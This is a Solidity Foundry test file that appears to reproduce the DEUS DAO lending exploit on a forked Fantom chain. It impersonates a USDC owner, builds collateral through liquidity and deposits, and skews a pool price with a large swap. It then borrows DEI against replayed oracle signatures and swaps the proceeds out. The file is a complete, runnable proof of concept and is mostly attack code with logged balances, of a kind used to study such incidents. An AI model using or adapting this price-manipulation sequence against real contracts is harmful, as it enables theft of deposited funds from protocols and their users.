deus_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

contract ContractTest is DSTest {
  CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

  IBaseV1Router01 router =
    IBaseV1Router01(0xa38cd27185a464914D3046f0AB9d43356B34829D);

  IDeiLenderSolidex DeiLenderSolidex =
    IDeiLenderSolidex(0x8D643d954798392403eeA19dB8108f595bB8B730);

  IUSDC usdc = IUSDC(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);

  IERC20 dei = IERC20(0xDE12c7959E1a72bbe8a5f7A1dc8f8EeF9Ab011B3);

  ISSPv4 sspv4 = ISSPv4(0xbe9dE5747317F27f9A39ea5924ed4c51b34fB0d1);

  IERC20 lpToken = IERC20(0x5821573d8F04947952e76d94f3ABC6d7b43bF8d0);

  IERC20 DepositToken = IERC20(0xD82001B651F7fb67Db99C679133F384244e20E79);

  address owner_of_usdc = 0xC564EE9f21Ed8A2d8E7e76c085740d5e4c5FaFbE;

  ILpDepositor LpDepositor =
    ILpDepositor(0x26E1A0d851CF28E697870e1b7F053B605C8b060F);

  IOracle oracle = IOracle(0x8129026c585bCfA530445a6267f9389057761A00);

  function setUp() public {
    cheat.createSelectFork("fantom", 37093708); // fork fantom at block 37093708
  }

  function testExample() public {
    cheat.prank(owner_of_usdc);

    usdc.Swapin(
      0x33e48143c6ea17476eeabfa202d8034190ea3f2280b643e2570c54265fe33c98,
      address(this),
      150000000 * 10**6
    );

    uint256 balance_of_usdc = usdc.balanceOf(address(this));

    emit log_named_uint("The USDC I have now", balance_of_usdc);

    usdc.approve(address(sspv4), type(uint256).max);

    sspv4.buyDei(1000000 * 10**6);

    uint256 balance_of_dei = dei.balanceOf(address(this));

    emit log_named_uint("The DEI after buying DEI", balance_of_dei);

    balance_of_usdc = usdc.balanceOf(address(this));

    emit log_named_uint("The USDC after buying DEI", balance_of_usdc);

    usdc.approve(address(router), type(uint256).max);

    dei.approve(address(router), type(uint256).max);

    router.addLiquidity(
      address(dei),
      address(usdc),
      true,
      894048109294000000000000,
      965495000000,
      876167147108120000000000,
      946185100000,
      address(this),
      block.timestamp
    );

    uint256 balance_of_LpToken = lpToken.balanceOf(address(this));

    emit log_named_uint(
      "The LPToken After adding Liquidity",
      balance_of_LpToken
    );

    lpToken.approve(address(LpDepositor), type(uint256).max);

    LpDepositor.deposit(address(lpToken), balance_of_LpToken);

    balance_of_LpToken = lpToken.balanceOf(address(this));

    uint256 balance_of_DepositToken = DepositToken.balanceOf(address(this));

    emit log_named_uint(
      "The DepositToken After depositting LPtoken",
      balance_of_DepositToken
    );

    DepositToken.approve(address(DeiLenderSolidex), type(uint256).max);

    DeiLenderSolidex.addCollateral(address(this), balance_of_DepositToken);

    balance_of_DepositToken = DepositToken.balanceOf(address(this));

    emit log_named_uint(
      "The DepositToken After addCollateral",
      balance_of_DepositToken
    );

    balance_of_usdc = usdc.balanceOf(address(this));

    emit log_named_uint("The USDC I have now", balance_of_usdc);

    usdc.approve(address(router), type(uint256).max);

    router.swapExactTokensForTokensSimple(
      143200000000000,
      0,
      address(usdc),
      address(dei),
      true,
      address(this),
      block.timestamp
    );

    balance_of_dei = dei.balanceOf(address(this));

    emit log_named_uint("The DEI I have after swapping", balance_of_dei);

    SchnorrSign memory sig = SchnorrSign(
      1835036472718200664753898924933875196349373787186253604571797551094739683650,
      0xF096EC73cB49B024f1D93eFe893E38337E7a099a,
      0xD58D8931b98942EE19C431B72f4Bc8B3eD28d8DF
    );

    SchnorrSign[] memory sigs = new SchnorrSign[](1);

    sigs[0] = sig;

    bytes
      memory repID = "0x01701220183a8e97b39ebe3c38b6166cd7c9ddfe3c38fd76352e5652b9c25467aa47b040";

    uint256 price = oracle.getOnChainPrice();

    emit log_named_uint("The price from Oracle", price);

    cheat.warp(1651113560);

    emit log_named_uint("the time now", block.timestamp);

    DeiLenderSolidex.borrow(
      address(this),
      17246885701212305622476302,
      20923953265992870251804289,
      1651113560,
      repID,
      sigs
    );

    balance_of_dei = dei.balanceOf(address(this));

    emit log_named_uint("The DEI after borrowing", balance_of_dei);

    router.swapExactTokensForTokensSimple(
      12000000000000000000000000,
      0,
      address(dei),
      address(usdc),
      true,
      address(this),
      block.timestamp
    );

    usdc.transfer(owner_of_usdc, 150000000 * 10**6);

    balance_of_dei = dei.balanceOf(address(this));

    balance_of_usdc = usdc.balanceOf(address(this));

    emit log_named_uint("The USDC after paying back", balance_of_usdc);

    emit log_named_uint("The DEI after paying back", balance_of_dei);
  }
}